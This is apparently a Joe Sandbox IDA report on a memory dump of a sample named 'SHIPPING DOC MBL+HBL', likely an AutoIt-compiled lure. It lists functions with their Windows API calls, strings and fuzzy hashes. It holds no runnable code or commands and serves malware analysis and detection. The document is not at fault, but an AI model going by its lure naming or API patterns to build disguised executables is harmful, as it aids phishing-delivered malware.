Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 6ab56f2f22217a39d91cd373cfa83795e7b7d41cbc9954615523815618b6515c
Instruction ID: 18a7f98f61b852f3bf53ed29642f54404d70d670f3a187d54aab213bdbbec69f
Opcode Fuzzy Hash: 6ab56f2f22217a39d91cd373cfa83795e7b7d41cbc9954615523815618b6515c
Instruction Fuzzy Hash: 16F06232241118BFD3215B93DC0DEAB7A7CEFCAB11F000169F909E1051E6A01A0597B5

Function 00E672D9 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00E672EC
EnterCriticalSection.KERNEL32(?,?,00E11044,?,?), ref: 00E672FD
TerminateThread.KERNEL32(00000000,000001F6,?,00E11044,?,?), ref: 00E6730A
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00E11044,?,?), ref: 00E67317

Part of subcall function 00E66CDE: CloseHandle.KERNEL32(00000000,?,00E67324,?,00E11044,?,?), ref: 00E66CE8

InterlockedExchange.KERNEL32(?,000001F6), ref: 00E6732A
LeaveCriticalSection.KERNEL32(?,?,00E11044,?,?), ref: 00E67331

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 8a8951fc3f05f058a8a8b56555ab05abe2e9e4cfd886d247e0f9178ad2d13690
Instruction ID: 5396533a83f5093d1ba1ac360436d1eb1fcafae24fb46fb4657cad1d0c767b7e
Opcode Fuzzy Hash: 8a8951fc3f05f058a8a8b56555ab05abe2e9e4cfd886d247e0f9178ad2d13690
Instruction Fuzzy Hash: 9EF08236581612EFE7111B65FD8C9DB773AFF49712B101531F506B10B1CB759815CBA0

Function 00E58C54 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E58C5F
UnloadUserProfile.USERENV(?,?), ref: 00E58C6B
CloseHandle.KERNEL32(?), ref: 00E58C74
CloseHandle.KERNEL32(?), ref: 00E58C7C
GetProcessHeap.KERNEL32(00000000,?), ref: 00E58C85
HeapFree.KERNEL32(00000000), ref: 00E58C8C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 6652bd9b19f8a72426b3e195c597f5b9e8190748296d57d689ec8977b1d0c289
Instruction ID: 4f38d140f51314c040ab9ea8713d28c79b8c98bc657e8ccc59a5474d20c28a84
Opcode Fuzzy Hash: 6652bd9b19f8a72426b3e195c597f5b9e8190748296d57d689ec8977b1d0c289
Instruction Fuzzy Hash: B1E0C236004001FFDA011FE2EC0C90ABB69FB89322B108231F219E1075CB329428DB50

Function 00E57858 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00E92C7C,?), ref: 00E57A12
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00E92C7C,?), ref: 00E57A2A
CLSIDFromProgID.OLE32(?,?,00000000,00E8FB80,000000FF,?,00000000,00000800,00000000,?,00E92C7C,?), ref: 00E57A4F
_memcmp.LIBCMT ref: 00E57A70

Strings

,,, xrefs: 00E57865

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,
API String ID: 314563124-1556401989
Opcode ID: 84b9a4a02824de28d88e3e321b75298e23e278c55797696b8363de4965330cdd
Instruction ID: ca6eac77f5739dae48bd805df9932b0512756d3cc0fb98c2b680324902002d97
Opcode Fuzzy Hash: 84b9a4a02824de28d88e3e321b75298e23e278c55797696b8363de4965330cdd
Instruction Fuzzy Hash: FE810871A00109EFCB04DF94C884EEEB7B9FF89315F205598E955BB250DB71AE0ACB60

Function 00E78702 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E78728
CharUpperBuffW.USER32(?,?), ref: 00E78837
VariantClear.OLEAUT32(?), ref: 00E789AF

Part of subcall function 00E6760B: VariantInit.OLEAUT32(00000000), ref: 00E6764B
Part of subcall function 00E6760B: VariantCopy.OLEAUT32(00000000,?), ref: 00E67654
Part of subcall function 00E6760B: VariantClear.OLEAUT32(00000000), ref: 00E67660

Strings

Incorrect Parameter format, xrefs: 00E78760, 00E78922
AUTOIT.ERROR, xrefs: 00E7883D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 654c541212af0e862101ccff561a7110f5b404dcf80f26ff21b659ea6aa5951b
Instruction ID: defa822e4560129d978c2e01cd36c23f3c7d432373cbf45044f1840b9b9f5763
Opcode Fuzzy Hash: 654c541212af0e862101ccff561a7110f5b404dcf80f26ff21b659ea6aa5951b
Instruction Fuzzy Hash: 78918D756083019FC704DF24C58496ABBF4EFD8314F14996EF89AAB3A2DB30E945CB52

Function 00E62D8E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1FE06: _wcscpy.LIBCMT ref: 00E1FE29

_memset.LIBCMT ref: 00E62E7F
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E62EAE
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E62F61
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00E62F8F

Strings

0, xrefs: 00E62E6B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 2551f0b007b4909b191802330d372a02f112409c572be32e1d9211cb7aa96b3f
Instruction ID: 12632c956b27fb9c7f8d1c49a09eaceecf1abe1e6a4c15534e01452e91d02aee
Opcode Fuzzy Hash: 2551f0b007b4909b191802330d372a02f112409c572be32e1d9211cb7aa96b3f
Instruction Fuzzy Hash: 985101317487019ED7259F28E844A6BB7F4AF95398F042A2DFA94F31D1DB71CC448792

Function 00E62A4B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62AB8
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00E62AD4
DeleteMenu.USER32(?,00000007,00000000), ref: 00E62B1A
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00EC5890,00000000), ref: 00E62B63

Strings

0, xrefs: 00E62AAD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 7c20815738d2c8d5dd1cf5a45031ec74d64ddbda71b5ebf33814cffb1407b421
Instruction ID: bba59333bda6beb893c224bb7c0e98dd6f9e7cdc404e508a9200ca014f384150
Opcode Fuzzy Hash: 7c20815738d2c8d5dd1cf5a45031ec74d64ddbda71b5ebf33814cffb1407b421
Instruction Fuzzy Hash: 5E41D2306447029FD720DF24E885B2ABBE8EF84364F10462DFAA5B72D1D770E904CB62

Function 00E7D8B9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00E7D8D9

Part of subcall function 00E079AB: _memmove.LIBCMT ref: 00E079F9

Strings

stdcall, xrefs: 00E7D95B
winapi, xrefs: 00E7D94A
none, xrefs: 00E7D9B4
cdecl, xrefs: 00E7D930

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 4cac335eb23c29604aadc6fc2190983a62918705ddd4b428e1640bb63de96e42
Instruction ID: 0e60556b6840314079aff8c4a28a19ddf177134f918e6380c372f8fadf4f8037
Opcode Fuzzy Hash: 4cac335eb23c29604aadc6fc2190983a62918705ddd4b428e1640bb63de96e42
Instruction Fuzzy Hash: 3931C471A04615AFCF00EF54CC919EEB3F4FF85324B10962AE9A9B76D1DB71A905CB80

Function 00E59152 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00E591D6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00E591E9
SendMessageW.USER32(?,00000189,?,00000000), ref: 00E59219

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Strings

ListBox, xrefs: 00E59195
ComboBox, xrefs: 00E59160

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 7029a2b96e2095433e91fa3bdf0d6a7e7f9508ad72cd3c2684e71c2081f72575
Instruction ID: b567137e013d1abd48ebcfb0eabb92a87257148e396afe778f4a8780e60d8cf7
Opcode Fuzzy Hash: 7029a2b96e2095433e91fa3bdf0d6a7e7f9508ad72cd3c2684e71c2081f72575
Instruction Fuzzy Hash: E9210635A00104BFDB14AB64DC858FFB7B8DF45360F146629F869B71E1DB341D4E9610

Function 00E71943 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00E71962
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E71988
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00E719B8
InternetCloseHandle.WININET(00000000), ref: 00E719FF

Part of subcall function 00E72599: GetLastError.KERNEL32(?,?,00E7192D,00000000,00000000,00000001), ref: 00E725AE
Part of subcall function 00E72599: SetEvent.KERNEL32(?,?,00E7192D,00000000,00000000,00000001), ref: 00E725C3

Strings

, xrefs: 00E719A9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 8d8be4665d7d69483c60d6186f28bb19a62c8b8e5537752c36f83c0468c14a6c
Instruction ID: cd5ee6fbfc83f42b12fe94f53da4b969edda507b95c89c6ce7093c89b49a8f09
Opcode Fuzzy Hash: 8d8be4665d7d69483c60d6186f28bb19a62c8b8e5537752c36f83c0468c14a6c
Instruction Fuzzy Hash: CB21C5B2500309BFEB119F64DC95EBF77ECEB88744F10915AF509B6100EB259E095761

Function 00E86419 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E01D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E01D73
Part of subcall function 00E01D35: GetStockObject.GDI32(00000011), ref: 00E01D87
Part of subcall function 00E01D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E01D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00E86493
LoadLibraryW.KERNEL32(?), ref: 00E8649A
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00E864AF
DestroyWindow.USER32(?), ref: 00E864B7

Strings

SysAnimate32, xrefs: 00E8646E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 1d23a9cc71517bf059273e913b70c8f93990e47bdde86a1feb8b62dc752aae3b
Instruction ID: 21875ee9cb17bb4885dcda343a3686c264b2429bc7a1a4a81459d07196177fb2
Opcode Fuzzy Hash: 1d23a9cc71517bf059273e913b70c8f93990e47bdde86a1feb8b62dc752aae3b
Instruction Fuzzy Hash: 72218071600205AFEF106EA4DC80EBF37A9FB48368F10A619FA6CB6190D7319C519760

Function 00E66E45 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00E66E65
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E66E98
GetStdHandle.KERNEL32(0000000C), ref: 00E66EAA
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00E66EE4

Strings

nul, xrefs: 00E66EDF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 04492c4c63a5042081872f2b67edb62f8fdc481e55105e2605d2d9e5d2eba188
Instruction ID: 0f823deeece41e1bef5f1f5677ccd9b4aa6cabd51533e9f223869e450bec8fc7
Opcode Fuzzy Hash: 04492c4c63a5042081872f2b67edb62f8fdc481e55105e2605d2d9e5d2eba188
Instruction Fuzzy Hash: A921A478650205AFDF209F29EC04A9A7BF4EF447A4F205A29FCA0F72D0DB719954CB50

Function 00E66F13 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00E66F32
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E66F64
GetStdHandle.KERNEL32(000000F6), ref: 00E66F75
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00E66FAF

Strings

nul, xrefs: 00E66FAA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 8fd76c5825cab176f232b8576abf9c53fcba29d5d803aacdec0968ae7768f120
Instruction ID: 5d98ab79fda80450cf634cf6291b1a1af3adbf6b1425fa381bca2fa856ca808c
Opcode Fuzzy Hash: 8fd76c5825cab176f232b8576abf9c53fcba29d5d803aacdec0968ae7768f120
Instruction Fuzzy Hash: 48219D71690305ABDB209F69BC04A9AB7E8AF453A4F201A59FCA0F72D0DB7098508B60

Function 00E6ACCA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6ACDE
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00E6AD32
__swprintf.LIBCMT ref: 00E6AD4B
SetErrorMode.KERNEL32(00000000,00000001,00000000,00E8F910), ref: 00E6AD89

Strings

%lu, xrefs: 00E6AD45

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 35b855a6bde8b3f63857d97f0c32526b53aeb00caa7ad98ffb7dd5b2a1062a05
Instruction ID: bc83b3ef98046a6514016330b8760c22cea90b0f6e963cb9100df83ce555d08a
Opcode Fuzzy Hash: 35b855a6bde8b3f63857d97f0c32526b53aeb00caa7ad98ffb7dd5b2a1062a05
Instruction Fuzzy Hash: 67216034A00209AFCB10EFA5D985DEE7BF8EF89714B144069F509BB252DA31EA45CB61

Function 00E5A30F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Part of subcall function 00E5A15C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00E5A179
Part of subcall function 00E5A15C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5A18C
Part of subcall function 00E5A15C: GetCurrentThreadId.KERNEL32 ref: 00E5A193
Part of subcall function 00E5A15C: AttachThreadInput.USER32(00000000), ref: 00E5A19A

GetFocus.USER32 ref: 00E5A334

Part of subcall function 00E5A1A5: GetParent.USER32(?), ref: 00E5A1B3

GetClassNameW.USER32(?,?,00000100), ref: 00E5A37D
EnumChildWindows.USER32(?,00E5A3F5), ref: 00E5A3A5
__swprintf.LIBCMT ref: 00E5A3BF

Strings

%s%d, xrefs: 00E5A3B9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 0c246db2ed914737717dc492acb7d08bbcb1ff606c6d6b7c79c362f075891692
Instruction ID: 9da00fa0cad24a79fb1ec11ee6da86fd51b6d60b1b58d04b8f0752558c612e45
Opcode Fuzzy Hash: 0c246db2ed914737717dc492acb7d08bbcb1ff606c6d6b7c79c362f075891692
Instruction Fuzzy Hash: C311DCB06002096BDF10BF60DC86FEE37B8AF59301F085575FE0CBA182DA74598A8B71

Function 00E7EC69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00E7ED1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00E7ED4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00E7EE7E
CloseHandle.KERNEL32(?), ref: 00E7EEFF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: a4f9726902b1088550ea7e466cbc8a54e854b1c5bbc80878cf0744a35cb4b5f4
Instruction ID: 3a55bc4c757eb024987d42043907a6591efd74582cae00d9ae9227b211948643
Opcode Fuzzy Hash: a4f9726902b1088550ea7e466cbc8a54e854b1c5bbc80878cf0744a35cb4b5f4
Instruction Fuzzy Hash: 05815E716007009FD724EF28DC86B6AB7E5EF88710F14985DF999EB3D2DA70AC418B91

